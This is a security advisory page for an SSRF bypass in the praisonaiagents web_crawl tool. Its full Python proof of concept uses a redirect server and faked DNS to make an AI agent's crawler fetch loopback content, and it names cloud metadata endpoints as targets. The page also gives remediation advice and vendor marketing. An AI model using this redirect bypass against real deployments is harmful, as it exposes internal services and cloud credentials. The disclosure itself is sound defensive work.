Summary
praisonaiagents has a web_crawl SSRF protection bypass via unchecked redirect targets
praisonaiagents.tools.web_crawl_tools.web_crawl() validates the initial URL and blocks direct loopback/private destinations by default, but the default httpx fallback still uses httpx.Client(follow_redirects=True) and does not revalidate redirect targets.
An attacker-controlled public URL can pass the initial host check, redirect to loopback/private/cloud metadata infrastructure, and have the redirected response body returned by web_crawl().
This appears to be an incomplete fix / patch bypass for the published web_crawl SSRF class (GHSA-qq9r-63f6-v542 / CVE-2026-40160, and GHSA-8f4v-xfm9-3244).
Affected Component
Package:
praisonaiagents
File:
src/praisonai-agents/praisonaiagents/tools/web_crawl_tools.py
Functions:
web_crawl()
_crawl_with_httpx()
Affected Versions
Validated affected:
praisonaiagents 1.5.128via repository tagv4.5.128;praisonaiagents 1.6.40via repository tagv4.6.40;praisonaiagents 1.6.56via repository tagv4.6.56;- current
origin/maincommit095653d78a01cc6c80ff5b2dd20a8e5619686ddc.
Suggested affected range for maintainer confirmation:
>= 1.5.128, <= 1.6.56
No patched version is known to me at submission time.
Root Cause
Current web_crawl() validates only the initially supplied URL:
- requires
httporhttps; - resolves the initial hostname with
socket.gethostbyname(); - rejects loopback/private/link-local/multicast/unspecified addresses unless
ALLOW_LOCAL_CRAWL=true.
The default fetch sink then follows redirects:
with httpx.Client(follow_redirects=True, timeout=30.0) as client:
response = client.get(url)
There is no validation of intermediate or final redirect destinations before httpx fetches them. The URL that passes the guard is therefore not necessarily the URL ultimately requested by the server.
Local Reproduction
The PoV is local-only. It starts a loopback redirector and a loopback internal service. It monkeypatches DNS in-process so attacker.test appears public to the initial guard while the actual test request routes to the local redirector. This avoids contacting any third-party infrastructure while demonstrating the same root cause.
Run from a checkout of the repository:
env PYTHONPATH=src/praisonai-agents uv run --with httpx poc_web_crawl_redirect_ssrf.py
Observed output:
DIRECT_CONTROL: {'error': 'No valid or safe URLs provided. Local and non-http(s) URLs are blocked for security.'}
REDIRECT_RESULT: {'url': 'http://attacker.test:<port>/go', 'content': 'INTERNAL-SECRET-FROM-LOOPBACK', 'title': '', 'provider': 'httpx'}
REDIRECT_SERVER_HIT: True
INTERNAL_SERVER_HIT: True
PRAI-CAND-001 CONFIRMED: web_crawl follows a redirect to loopback
The direct control proves direct loopback is blocked by the intended SSRF guard. The redirect case proves the same blocked destination class is reachable after the initial safe-looking URL redirects.
With the same setup but with redirect following disabled, the redirector was hit, but the internal loopback service was not hit:
REDIRECT_HIT: True
INTERNAL_HIT: False
Severity
This mirrors the CVSS v4.0 shape already used for the prior web_crawl SSRF class while accounting for prompt/tool invocation as the attack prerequisite and user interaction. A CVSS v3.1 scoring may reasonably be lower if modeled strictly around user interaction, but the root issue is a server-side network boundary bypass that returns internal response content.
PoV
#!/usr/bin/env python3
"""Local PoV for PraisonAI web_crawl redirect-target SSRF bypass.
This PoV uses only loopback servers. It monkeypatches DNS in-process so the initial attacker host looks public to PraisonAI's pre-request guard, while the HTTP request is routed to a local redirect server. The redirect target is a loopback-only internal service. The vulnerable behavior is that web_crawl() validates the initial URL but follows the redirect to loopback without revalidating the Location target.
"""
from __future__ import annotations
import http.server
import os
import socket
import socketserver
import threading
from typing import Any
from praisonaiagents.tools.web_crawl_tools import web_crawl
class InternalHandler(http.server.BaseHTTPRequestHandler):
body = b"INTERNAL-SECRET-FROM-LOOPBACK"
def do_GET(self) -> None: # noqa: N802
self.server.hit = True # type: ignore[attr-defined]
self.send_response(200)
self.send_header("Content-Type", "text/plain")
self.send_header("Content-Length", str(len(self.body)))
self.end_headers()
self.wfile.write(self.body)
def log_message(self, *_args: Any) -> None:
return
class RedirectHandler(http.server.BaseHTTPRequestHandler):
target = ""
def do_GET(self) -> None: # noqa: N802
self.server.hit = True # type: ignore[attr-defined]
self.send_response(302)
self.send_header("Location", self.target)
self.end_headers()
def log_message(self, *_args: Any) -> None:
return
def main() -> int:
os.environ.pop("ALLOW_LOCAL_CRAWL", None)
internal = socketserver.TCPServer(("127.0.0.1", 0), InternalHandler)
internal.hit = False # type: ignore[attr-defined]
internal_port = internal.server_address[1]
RedirectHandler.target = f"http://127.0.0.1:{internal_port}/secret"
redirect = socketserver.TCPServer(("127.0.0.1", 0), RedirectHandler)
redirect.hit = False # type: ignore[attr-defined]
redirect_port = redirect.server_address[1]
threading.Thread(target=internal.serve_forever, daemon=True).start()
threading.Thread(target=redirect.serve_forever, daemon=True).start()
original_gethostbyname = socket.gethostbyname
original_getaddrinfo = socket.getaddrinfo
def fake_gethostbyname(host: str) -> str:
if host == "attacker.test":
return "93.184.216.34"
return original_gethostbyname(host)
def fake_getaddrinfo(host: str, port: int, *args: Any, **kwargs: Any):
if host == "attacker.test":
return original_getaddrinfo("127.0.0.1", port, *args, **kwargs)
return original_getaddrinfo(host, port, *args, **kwargs)
socket.gethostbyname = fake_gethostbyname
socket.getaddrinfo = fake_getaddrinfo
try:
direct_control = web_crawl(
f"http://127.0.0.1:{internal_port}/secret",
provider="httpx",
)
redirect_result = web_crawl(
f"http://attacker.test:{redirect_port}/go",
provider="httpx",
)
finally:
socket.gethostbyname = original_gethostbyname
socket.getaddrinfo = original_getaddrinfo
redirect.shutdown()
internal.shutdown()
redirect.server_close()
internal.server_close()
print("DIRECT_CONTROL:", direct_control)
print("REDIRECT_RESULT:", redirect_result)
print("REDIRECT_SERVER_HIT:", bool(redirect.hit)) # type: ignore[attr-defined]
print("INTERNAL_SERVER_HIT:", bool(internal.hit)) # type: ignore[attr-defined]
if not isinstance(direct_control, dict) or "No valid or safe URLs" not in str(direct_control):
raise SystemExit("control failed: direct loopback was not blocked")
if not isinstance(redirect_result, dict):
raise SystemExit("bypass failed: unexpected result type")
if "INTERNAL-SECRET-FROM-LOOPBACK" not in str(redirect_result.get("content", "")):
raise SystemExit("bypass failed: redirect target content was not returned")
if not bool(redirect.hit) or not bool(internal.hit): # type: ignore[attr-defined]
raise SystemExit("bypass failed: expected local servers were not hit")
print("PRAI-CAND-001 CONFIRMED: web_crawl follows a redirect to loopback")
return 0
if __name__ == "__main__":
raise SystemExit(main())
Impact
If an attacker can influence URLs passed to web_crawl(), directly or through an agent/tool workflow, they can cause the PraisonAI host to fetch loopback, private-network, or cloud metadata endpoints reachable from that host. The response body is returned in the web_crawl() result.
Practical impact includes:
- reading loopback-only HTTP services;
- probing private network services;
- reading cloud metadata endpoints where reachable and not otherwise protected.
This report does not claim RCE, authentication bypass, or live cloud credential theft without a deployment-specific metadata test.
Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
Already deployed Kodem?
See it in your environmentNew to Kodem? Get a demo →Remediation advice
- Set
follow_redirects=Falsein_crawl_with_httpx(), or handle redirects manually and validate eachLocationtarget before following it. - Centralize the URL validation used by server-side fetch tools.
- Validate every resolved address using
socket.getaddrinfo(), not only the firstgethostbyname()result. - Reject loopback, private, link-local, reserved, multicast, unspecified, and cloud metadata destinations.
- Add regression tests for direct loopback, public-to-loopback redirect, and allowed public-to-public redirects if redirect support remains intended.
Frequently Asked Questions
- What is CVE-2026-55523? CVE-2026-55523 is a high-severity server-side request forgery (SSRF) vulnerability in praisonaiagents (pip), affecting versions >= 1.5.128, < 1.6.58. It is fixed in 1.6.58. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
- Which versions of praisonaiagents are affected by CVE-2026-55523? praisonaiagents (pip) versions >= 1.5.128, < 1.6.58 is affected.
- Is there a fix for CVE-2026-55523? Yes. CVE-2026-55523 is fixed in 1.6.58. Upgrade to this version or later.
- Is CVE-2026-55523 exploitable, and should I be worried? Whether CVE-2026-55523 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2026-55523 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2026-55523? Upgrade
praisonaiagentsto 1.6.58 or later.